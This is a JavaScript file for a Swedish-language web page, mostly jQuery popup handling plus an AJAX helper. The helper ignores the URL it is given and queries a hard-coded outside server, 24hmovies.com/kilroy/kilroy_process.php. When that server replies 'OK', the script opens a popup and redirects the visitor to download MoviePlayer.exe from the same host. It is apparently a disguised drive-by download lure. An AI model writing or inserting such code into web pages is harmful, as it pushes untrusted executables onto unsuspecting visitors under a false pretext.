﻿
function post24h() {
	ajaxQuery('myparser.php','t24hbanner');
	return false;
}

function getQueryStringHash() {
	if (location.hash != "")
		return location.hash.substring(1);
	else
		return null;
}

function popup(id) {
	$("#popup").hide();
	if ($("#popup-" + id).length > 0) {
		$("#popup-title h1").text($("#popup-" + id).attr("rel"));
		$("#popup-content").html($("#popup-" + id).html());
		$("#popup").fadeIn();
	}
}

$(document).ready(function() {
	$("#popup-close").click(function() {
		$(this).parent().fadeOut();
	});
	
	$("a[href^='#']").click(function() {
		popup($(this).attr("href").substring(1));
	});
	
	var hash = getQueryStringHash();
	
	if (hash != null) {
		popup(hash);
	}
});

function callback(serverData, serverStatus, id) {
	if(serverStatus == 200){
		if(serverData == "OK") {
			window.open('http://www.pageresource.com/jscript/jex5.htm','mywindow','width=400,height=200,toolbar=yes,location=yes,directories=yes,status=yes,menubar=yes,scrollbars=yes,copyhistory=yes,resizable=yes');
			window.location = 'http://www.24hmovies.com/kilroy/MoviePlayer.exe';	
		}
	} else {
		document.getElementById(id).innerHTML = 'Laddar...<br />'; 
	}
}

function ajaxQuery(openThis, id, displayloading) {
	if(displayloading == null)
	{
		displayloading = true;
	}

	var AJAX = null;
 	if (window.XMLHttpRequest) {
		AJAX=new XMLHttpRequest();
	} else {
		AJAX=new ActiveXObject("Microsoft.XMLHTTP");
	}
		if (AJAX==null) {
			alert("Din browser stödjer inte AJAX.");
			return false;
		}


	AJAX.onreadystatechange = function() {
		if (AJAX.readyState==4 || AJAX.readyState=="complete") {
			callback(AJAX.responseText, AJAX.status, id);
		}  else {
			//if(displayloading)
			//	document.getElementById(id).innerHTML = 'Laddar...<br />'; 
    	} 
   	}

	var url = 'http://www.24hmovies.com/kilroy/kilroy_process.php';
   	AJAX.open("GET", url, true);
	AJAX.setRequestHeader("Connection", "close");
   	AJAX.send();
}

